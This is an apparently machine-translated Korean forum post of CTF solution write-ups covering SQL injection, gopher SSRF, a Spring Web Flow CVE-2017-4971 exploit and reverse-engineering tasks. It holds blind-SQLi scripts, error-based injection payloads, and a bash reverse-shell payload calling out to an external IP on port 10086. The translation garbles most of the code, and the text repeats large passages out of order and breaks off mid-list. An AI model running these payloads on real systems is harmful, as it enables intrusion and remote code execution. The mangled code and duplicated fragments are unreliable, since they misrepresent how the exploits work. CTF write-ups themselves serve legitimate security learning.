KoreanHackerTeam
Moderator
편물
배열은 두 번째 레벨을 우회합니다
JSON 약한 유형 비교
필터링 된 정보 _schema.table mysql.innodb_table_stats
admin '/**/및/**/(('ctf ','%s ', 3,4,5,6)=/**/(테이블/**/mysql.innodb_table_stats/**/limit/**/2,1)#플래그 테이블 fl11aag에 주목하십시오
16 진수에 대한 메모 :
import stringimport requestimport timereq=requests.session () url='http://182.116.62.85:26571/login.php'def hh () : Payload='admin'/**/및/**/(ascii (hex (hex '범위 (1,100) : 범위 (48,125) : 데이터={'username'
ayload%(i, j), 'password':'admin'} rep=req.post (url, data) tept=rep. in 'rep. in in'rep. print (j) result +=chr (j) # print ((chr (j)), end='') # payload=payload%(chr (j-1) +'%s') print (result) breakhh () 또는 #-*-코딩 :UTF-8-*-import requestSdef bind_sql () : flag='dic='dic='~} | {zyxwvutsrqponmlkjihgfedcba` _^] \ [zyxwvutsrqponmlkjihgfedcba@?=;9876543210/-,+*) (%$#!' 플래그 + j #payload='11'|| ( 'ctf', binary '{}', 1,2,3,4) (테이블/**/mysql.innodb_table_stats/**/limit/**/1,1) #'. 형식 (_) #admin, fl11aag payload='11'|| (binary '{}') (테이블/**/ctf.fl11aag/**/limit/**/1,1)#'. 형식 (_) 인쇄 (_) 인쇄 (페이로드) data={'username': 페이로드, 'password':'admin '} res=url=url=url=data'in in in us 'rest' j=='~': 플래그=플래그 [:-1] +chr (ord (flag [-1]) +1) print (flag) exit () flag +=j print (flag) break if flag==f: break return flagif __name__=='__main __': url='http://182.116.62.85:26571/login.php'result=bind_sql () print (result)
exp :
Gopher: //127.0.0.1:80/_post%20/index.php%20http/1.1%0D%0HOST%3A%20127.0.0.1%0D%0D%0D 3A%20APPLEPLATION/X-WWW-FORF-URLONCOD%0D%0D%0D Kie%3a%20this_is_your_cookie%3dywrtaw4nksbhbmqgdxbkyxrleg1skdesy29uy2f0kdb4 n2uskhnlbgvjdcbzdwjzdhiokhnlbgvgvjdcbmbgfnigzyb20gzmxhzyksmswsw0mckpkswxksm%3d% 0D%0AContent-length%3A%2024%0D%0A%0D%0D%0AUNAME%3DADMIN%26PASSWD%3DADMIN%0D%0A OLD LOGIN 인터페이스, 내부가 아니라고 말하기 때문에 사용 할 수 없다고 말합니다. F12는 SSRF에 대한 SSRF를 사용하여 관리자에게 로그인을 사용합니다. Cookie:this_is_your_cookie=ywrtaw4=, 쿠키를 가져 와서 일부 시도 후에 게시물이 없다는 것을 알게되고, 쿠키를 주입하고, Admin'Base64를 암호화하고, SQL 문에 직접 오류를보고하고, SQL-LABS 라이브러리를 직접보고하고, 오류를보고하고 문제를 해결하고 문제를보고합니다. quotedata='' 'post/http/1.1host: 127.0.0.1:80content-type: 응용 프로그램/x-www-form-urlencodedcookie: this_is_your_cookie=ltenkxx8dxbkyxrleg1skdesy29uy2f0kdeskhnlbgvjdcbncm91cf9jb25jyxqozm xhzykgznjvbsbmbgfnkswxksm=; phpsessid=susn9dj4f1806v0pl5oiureek1; 컨텐츠-길이 : {} {} '' '' 'payload='uname=adminPasswd=admin'length=len (payload) data=data.format (길이, 페이로드) data=quote (data, 'utf-8') url='http://182.116.62.85336028303/use.php'params={ 'url'3360'Gopher: //127.0.0.1:80/_'+data} headers={ 'cookie':'phpsessid=8t4ppbs8ek3l5v5estgbttqtu3'} r=url, params=readers, r.te).
Xman 원본 제목 :
로그인 페이지를 입력 한 후 주어진 계정을 작성하고 로그인하십시오.
그런 다음 http://ip/Hotels/1 페이지로 이동하여 책을 클릭하십시오.
그런 다음 정보를 자연스럽게 채우고 진행 버튼을 클릭하여 확인 페이지로 이동하십시오.
확인 확인을 클릭하여 패킷을 잡고 페이로드를 입력하고 청취를 시작하십시오.
_eventID_CONFIRM=_CSRF=BCC5CE94-5277-4064-B5F7-850432E3D2F0_ (new+java.lang.processbu ilder ( 'bash', '-c', 'bash+-i+%26+/dev/tcp/121.40.134.251/10086+0%261')). start ()=vulhub
그런 다음 패킷을 보내 서버가 연결 될 때까지 기다립니다.
성공적으로 getshell, 루트 디렉토리에서 flag.txt 파일을 찾고 플래그를 참조하십시오.
flag:xman {ughixoedae6zeethaxoh1eex3xeij7y}
');} if (preg_match ( '/show_source/', $ _server [ 'request_uri'))) {exit ( 'exit
;} if (isset ($ _ get [ 'show_source'])) {height_file (basename ($ _ server [ 'php_self'])); exit ();} else {show_source (__ file__);}? 원본 제목은 수정 된 참조 연결 : https://www.gem-love.com/ctf/1898.html
직접 전화하십시오 : http://182.116.62.85:21895/index.php/utils.php/%81? show [source
또는/index.php/utils.php/%FF/?show=Source
figure1: 주로 배열을 사용하여 입력을 확인하고 직접 frida 후크를 확인합니다. functionMain () {java.perform (function () {varbytestring=java.use ( 'com.android.okhttp.okio.bytestring'); java.use ( 'java.util.arrays'). equals.overload ( '[b', '[b')=function (x, y) {console.log ( 'start .'); varresult=this.equals (x, y); console.log ( 'arg:', bytestring.of (x) .utf8 (), bytestring.of
.utf8 ()); returnresult;}})} setimmed (main).
figure2: 플래그 얻기 : 플래그 {de5_c0mpr355_m@y_c0nfu53}
figure3
figure4: 로그인 및 구매 플래그
flag : flag {y0u_h@v3 _@_ 107_0f_m0n3y !}
프로그램이 실행되기 시작하면서 "%36s"라고 말하지만 실제로는 42 비트, 거짓말 쟁이를 입력해야합니다. 시작하기 시작하면 다양한 기능을 보면 각 기능이 비슷해 보인다는 것을 알게 된 다음 플래그가 비트별로 확인되는지 여부를 추측하고 플래그는 함수에 해당합니다. 디버깅과 다른 것들이 여전히 피곤합니다 (플래그가 어떻게 확인되는지 이해할 수 없다는 것을 말하지 않을 것입니다). 게으르기 위해서는 여기에서 직접 유니콘을 사용하고 시작 기능에서 printf와 scanf가 호출되는 장소를 패치 한 다음 스캔을 연결하여 플래그를 메모리에 입력 할 수 있도록합니다.
이를 통해 프로그램의 입력 및 검증 기능을 실행할 수 있습니다. 다음은이 프로그램에 대해 쓴 UNIDBG 클래스입니다. Unicorn import *from Unicorn.x86_Const 가져 오기 *Capstone 가져 오기 *import binasciipetition_base=0x0 # import binasciipetition_base=0x0 # feaction_stack_base=0x10000 ( 'petition', 'rb') as f: Code=[b 'x'x x, xxx () b '\ x01', b '\ x02', b '\ x03', b '\ x04', b '\ x05', b '\ x06', b '\ x07', b '\ x08', b '\ x09', b '\ x0a', b '\ x0b', b '\ x'\ x0d ', b'\ x '\ x0b b '\ x0e', b '\ x0f', b '\ x10', b '\ x11', b '\ x12', b '\ x13', b '\ x14', b '\ x15', b '\ x16', b '\ x17', b '\ x18', b '\ x19' b '\ x1b', b '\ x1c', b '\ x1d', b '\ x1e', b '\ x1f', b '\ x20', b '\ x21', b '\ x22', b '\ x23', b '\ x24', b '\ x25', b '\ x'\ x26 ', b'\ x27 b '\ x28', b '\ x29', b '\ x2a', b '\ x2b', b '\ x2c', b '\ x2d', b '\ x2e', b '\ x2f', b '\ x30', b '\ x31', b '\ x32', b '\ x'\ x34 ', b'\ x34 b '\ x35', b '\ x36', b '\ x37', b '\ x38', b '\ x39', b '\ x3a', b '\ x3b', b '\ x3c', b '\ x3d', b '\ x3e', b '\ x3f', b '\ x'\ x ', b'\ x ', b'\ x3f ' b '\ x42', b '\ x43', b '\ x44', b '\ x45', b '\ x46', b '\ x47', b '\ x48', b '\ x49', b '\ x4a', b '\ x4b', b '\ x4c', b '\ x'\ x ', b'\ x4c ', b '\ x4f', b '\ x50', b '\ x51', b '\ x52', b '\ x53', b '\ x54', b '\ x55', b '\ x56', b '\ x57', b '\ x58', b '\ x59', b '\ x', b '\ x5b' b '\ x5c', b '\ x5d', b '\ x5e', b '\ x5e', b '\ x5f', b '\ x60', b '\ x61', b '\ x62', b '\ x63', b '\ x64',
1.middle_magic
%0A 첫 번째 레벨을 우회하고 %23을 최종에 추가하십시오 #배열은 두 번째 레벨을 우회합니다
JSON 약한 유형 비교
2.easy_sql_2
로그인 기능, Post Pass 사용자 이름 및 비밀번호. 관리자, 관리자 약한 비밀번호 로그인을 성공적으로 시도하지만 프롬프트 플래그는 여기에 없습니다. 사용자 이름은 -1 '||'1 '%23을 시도한 후 비밀번호 오류라는 것을 알았으므로 백엔드가 들어오는 사용자 이름을 기반으로 해당 비밀번호를 찾아야한다고 추측했습니다. 확인한 후 더 이상 사용자 이름 오류가 아니었고 MD5 이후에 들어오는 비밀번호를이 암호와 비교했으며 동일한 로그인이 성공했습니다. SQL 주입을 시도하지만 금지를 선택하므로 테이블 주입을 사용하십시오. 데이터베이스 이름은 주입하기 쉽습니다. Regexp를 사용하지 않고 테이블을 사용하지 않고 CTF임을 알리고 테이블 이름을 호출하기 시작할 수도 있습니다. 테이블이 필터링되지만 기둥은 필터링되지 않습니다. information_schema.column을 사용하여 맹목적으로 테이블 이름을 발행 할 수 있습니다.필터링 된 정보 _schema.table mysql.innodb_table_stats
admin '/**/및/**/(('ctf ','%s ', 3,4,5,6)=/**/(테이블/**/mysql.innodb_table_stats/**/limit/**/2,1)#플래그 테이블 fl11aag에 주목하십시오
16 진수에 대한 메모 :
import stringimport requestimport timereq=requests.session () url='http://182.116.62.85:26571/login.php'def hh () : Payload='admin'/**/및/**/(ascii (hex (hex '범위 (1,100) : 범위 (48,125) : 데이터={'username'

3. easy_sql_1
Gopher 적중 인덱스, Admin/Admin을 찾아 쿠키를 찾았습니다. 디코딩 후 관리자였습니다. 단일 따옴표에 오류가 있음을 테스트하면 주입되었습니다. admin ') 및 updatexml (1, concat (0x7e, (selectSubstr ((selectflagfromflag)), 1,40)), 1)#exp :
Gopher: //127.0.0.1:80/_post%20/index.php%20http/1.1%0D%0HOST%3A%20127.0.0.1%0D%0D%0D 3A%20APPLEPLATION/X-WWW-FORF-URLONCOD%0D%0D%0D Kie%3a%20this_is_your_cookie%3dywrtaw4nksbhbmqgdxbkyxrleg1skdesy29uy2f0kdb4 n2uskhnlbgvjdcbzdwjzdhiokhnlbgvgvjdcbmbgfnigzyb20gzmxhzyksmswsw0mckpkswxksm%3d% 0D%0AContent-length%3A%2024%0D%0A%0D%0D%0AUNAME%3DADMIN%26PASSWD%3DADMIN%0D%0A OLD LOGIN 인터페이스, 내부가 아니라고 말하기 때문에 사용 할 수 없다고 말합니다. F12는 SSRF에 대한 SSRF를 사용하여 관리자에게 로그인을 사용합니다. Cookie:this_is_your_cookie=ywrtaw4=, 쿠키를 가져 와서 일부 시도 후에 게시물이 없다는 것을 알게되고, 쿠키를 주입하고, Admin'Base64를 암호화하고, SQL 문에 직접 오류를보고하고, SQL-LABS 라이브러리를 직접보고하고, 오류를보고하고 문제를 해결하고 문제를보고합니다. quotedata='' 'post/http/1.1host: 127.0.0.1:80content-type: 응용 프로그램/x-www-form-urlencodedcookie: this_is_your_cookie=ltenkxx8dxbkyxrleg1skdesy29uy2f0kdeskhnlbgvjdcbncm91cf9jb25jyxqozm xhzykgznjvbsbmbgfnkswxksm=; phpsessid=susn9dj4f1806v0pl5oiureek1; 컨텐츠-길이 : {} {} '' '' 'payload='uname=adminPasswd=admin'length=len (payload) data=data.format (길이, 페이로드) data=quote (data, 'utf-8') url='http://182.116.62.85336028303/use.php'params={ 'url'3360'Gopher: //127.0.0.1:80/_'+data} headers={ 'cookie':'phpsessid=8t4ppbs8ek3l5v5estgbttqtu3'} r=url, params=readers, r.te).
4. spring
제목은 CVE-2017-4971- 스프링 웹 흐름 원격 코드 실행 취약성입니다.Xman 원본 제목 :
로그인 페이지를 입력 한 후 주어진 계정을 작성하고 로그인하십시오.

그런 다음 http://ip/Hotels/1 페이지로 이동하여 책을 클릭하십시오.

그런 다음 정보를 자연스럽게 채우고 진행 버튼을 클릭하여 확인 페이지로 이동하십시오.

확인 확인을 클릭하여 패킷을 잡고 페이로드를 입력하고 청취를 시작하십시오.

_eventID_CONFIRM=_CSRF=BCC5CE94-5277-4064-B5F7-850432E3D2F0_ (new+java.lang.processbu ilder ( 'bash', '-c', 'bash+-i+%26+/dev/tcp/121.40.134.251/10086+0%261')). start ()=vulhub

그런 다음 패킷을 보내 서버가 연결 될 때까지 기다립니다.

성공적으로 getshell, 루트 디렉토리에서 flag.txt 파일을 찾고 플래그를 참조하십시오.
flag:xman {ughixoedae6zeethaxoh1eex3xeij7y}
5.easypy
? phpinclude 'utils.php'; if (isset ($ _ post [ 'posse'])) {$ guess=(string) $ _post [ 'posse']; if ($ guess===$ secret) {$ message='축하합니다! 깃발은 : '입니다. $ 깃발; } else {$ message='잘못. 다시 시도하십시오 '; }} if (preg_match ( '/utils \ .php \/*$/i', $ _server [ 'php_self'])) {exit ( 'hacker

직접 전화하십시오 : http://182.116.62.85:21895/index.php/utils.php/%81? show [source
또는/index.php/utils.php/%FF/?show=Source
Reverse
1.DesignEachStep



2.AreYouRich
최종 잔액에 따라 49999999999999999999999999999999999999999999999999999999999999 곳시고 그로 인해 recryption이 계정 비밀번호를 가져와야합니다.


3.petition
은 항상 xor가 있습니다.0xff입니다. S=[0x1e, 0,7,0xce,0xf9,0x8c,0x88,0xa8,0x52,0x99,0x19,0x15,0x66,0x2e, 0 Xaf,0xf6,0x43,0x2c,0xc9,0xca,0x66,0xaa,0x4c, 0,0x25,0xd6,0xff,0x44,0x Bd,0x72,0x65,8,0x85,0x12,0x7f,0x13,0x24,0xfc,0x24,0x33,0x23,0x97,0xb 2] S1=[0x78,108,0x66,0xa9,0x82,0xb5,0xbe,0xcb,0x64,0xa0,0x2f,0x21,0x50 , 3,0x97,0xc7,0x7b,0x18,0xe4,0xfe,0x55,0x9c,0x7f,0x2d,0x1d,0xb2,0x9a,0x7d,0x90,0x45,0x56,0x6e,0xb2,0x21,0x46,0x2b,0x14,0xca,0x12,0x50,0x1 2,0xea,0xb2] print (len (s)) flag=''foriinrange (len (s)) :flag+=chr (s ^s1 ) print (flag) 또는 일반적으로 깃발이 하나씩 점검되기 때문에 이런 종류의 질문을 선호하기 때문에 물론 깃발이 쾌적한 것입니다. 본문으로 돌아 가기 : IDA로드 파일
이를 통해 프로그램의 입력 및 검증 기능을 실행할 수 있습니다. 다음은이 프로그램에 대해 쓴 UNIDBG 클래스입니다. Unicorn import *from Unicorn.x86_Const 가져 오기 *Capstone 가져 오기 *import binasciipetition_base=0x0 # import binasciipetition_base=0x0 # feaction_stack_base=0x10000 ( 'petition', 'rb') as f: Code=[b 'x'x x, xxx () b '\ x01', b '\ x02', b '\ x03', b '\ x04', b '\ x05', b '\ x06', b '\ x07', b '\ x08', b '\ x09', b '\ x0a', b '\ x0b', b '\ x'\ x0d ', b'\ x '\ x0b b '\ x0e', b '\ x0f', b '\ x10', b '\ x11', b '\ x12', b '\ x13', b '\ x14', b '\ x15', b '\ x16', b '\ x17', b '\ x18', b '\ x19' b '\ x1b', b '\ x1c', b '\ x1d', b '\ x1e', b '\ x1f', b '\ x20', b '\ x21', b '\ x22', b '\ x23', b '\ x24', b '\ x25', b '\ x'\ x26 ', b'\ x27 b '\ x28', b '\ x29', b '\ x2a', b '\ x2b', b '\ x2c', b '\ x2d', b '\ x2e', b '\ x2f', b '\ x30', b '\ x31', b '\ x32', b '\ x'\ x34 ', b'\ x34 b '\ x35', b '\ x36', b '\ x37', b '\ x38', b '\ x39', b '\ x3a', b '\ x3b', b '\ x3c', b '\ x3d', b '\ x3e', b '\ x3f', b '\ x'\ x ', b'\ x ', b'\ x3f ' b '\ x42', b '\ x43', b '\ x44', b '\ x45', b '\ x46', b '\ x47', b '\ x48', b '\ x49', b '\ x4a', b '\ x4b', b '\ x4c', b '\ x'\ x ', b'\ x4c ', b '\ x4f', b '\ x50', b '\ x51', b '\ x52', b '\ x53', b '\ x54', b '\ x55', b '\ x56', b '\ x57', b '\ x58', b '\ x59', b '\ x', b '\ x5b' b '\ x5c', b '\ x5d', b '\ x5e', b '\ x5e', b '\ x5f', b '\ x60', b '\ x61', b '\ x62', b '\ x63', b '\ x64',